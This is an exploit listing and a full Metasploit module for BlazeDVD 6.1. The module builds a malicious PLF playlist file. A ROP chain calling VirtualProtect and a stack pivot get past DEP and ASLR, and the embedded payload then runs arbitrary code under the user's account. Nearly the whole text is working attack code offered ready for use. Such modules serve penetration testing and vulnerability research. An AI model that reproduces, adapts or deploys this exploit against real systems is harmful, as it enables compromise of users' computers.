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BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass

BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass
Posted Dec 30, 2012
Authored by LiquidWorm, Craig Freyman | Site metasploit.com

This Metasploit module updates an existing MSF module originally written for BlazeDVD 5.1. The new module will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under the context of the user.

tags | exploit, arbitrary, bypass
advisories | CVE-2006-6199, OSVDB-30770
MD5 | f0b95f422498c5d76cc375b1bf3de16b

BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'BlazeDVD 6.1 PLF Exploit DEP/ASLR Bypass',
'Description' => %q{
This module updates an existing MSF module originally written for BlazeDVD 5.1. The new module
will bypass DEP and ASLR on version 6. The original vulnerability is due to the handling of
specially crafted PLF files. Exploiting this allows us to execute arbitrary code running under
the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic', # Original discovery
'Craig Freyman @cd1zz', # MSF Module
],
'References' =>
[
[ 'OSVDB', '30770' ],
[ 'CVE', '2006-6199' ],
[ 'URL', 'http://www.exploit-db.com/exploits/6217/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/13905/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9329/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/16618/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
'DisableNops' => true,
'StackAdjustment' => -3500
},

'Targets' =>
[
[ 'win',
{
'Ret' => 0x6030ef6c,# : {pivot 2352 / 0x930} : # POP ESI # ADD ESP,92C # RETN
'Offset' => 872
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 10 2008',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),], self.class)

end

def create_rop_chain()

# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x640258bf, # POP EAX # RETN [MediaPlayerCtrl.dll]
0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
0x6033d8be, # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
0x60327f7f, # POP EBP # RETN [Configuration.dll]
0x616069a1, # & push esp # ret 04 [EPG.dll]
0x60335f98, # POP EAX # RETN [Configuration.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x6404c4c3, # NEG EAX # RETN [MediaPlayerCtrl.dll]
0x64016676, # XCHG EAX,EBX # RETN [MediaPlayerCtrl.dll]
0x6410948f, # POP EAX # RETN [NetReg.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6033b0eb, # NEG EAX # RETN [Configuration.dll]
0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]
0x6033d975, # POP ECX # RETN [Configuration.dll]
0x6411c001, # &Writable location [NetReg.dll]
0x6410a85d, # POP EDI # RETN [NetReg.dll]
0x6160b805, # RETN (ROP NOP) [EPG.dll]
0x6402c108, # POP EAX # RETN [MediaPlayerCtrl.dll]
0x90909090, # nop
0x6033d886, # PUSHAD # RETN [Configuration.dll]
].flatten.pack("V*")

return rop_gadgets

end

def exploit
rop_chain = create_rop_chain()
stack_adjust = "\x81\xc4\x24\xfa\xff\xff"
buf = ''
buf << make_nops(target['Offset'])
buf << [target.ret].pack('V')
buf << make_nops(8) #filler for stack pivot
buf << rop_chain
buf << stack_adjust
buf << payload.encoded
buf << make_nops(5000 - buf.length)

file_create(buf)

end
end

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